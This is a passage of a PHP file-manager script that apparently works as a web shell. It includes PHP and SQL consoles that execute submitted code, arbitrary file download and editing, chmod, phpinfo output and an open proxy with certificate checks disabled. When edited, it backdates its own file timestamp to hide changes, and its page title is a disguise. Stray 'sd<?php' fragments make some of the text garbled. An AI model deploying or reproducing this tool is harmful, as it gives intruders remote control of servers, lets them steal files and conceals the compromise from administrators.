		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
